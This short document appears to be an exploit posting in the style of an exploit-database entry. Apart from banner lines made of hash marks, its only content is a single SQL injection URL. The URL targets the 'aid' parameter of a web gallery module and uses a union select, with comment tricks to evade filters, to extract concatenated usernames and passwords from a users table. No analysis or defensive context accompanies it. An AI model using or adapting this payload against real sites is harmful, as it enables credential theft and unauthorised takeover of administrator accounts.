###############################################################
###############################################################
################################################################
################################################################
EXPLOIT :
index.php?module=gallery&command=showalbum&aid=-9999999//union//select//concat(name,0x3a,pass),1,2,3,4,5//from/*/users/where%20admin1/
################################################################
################################################################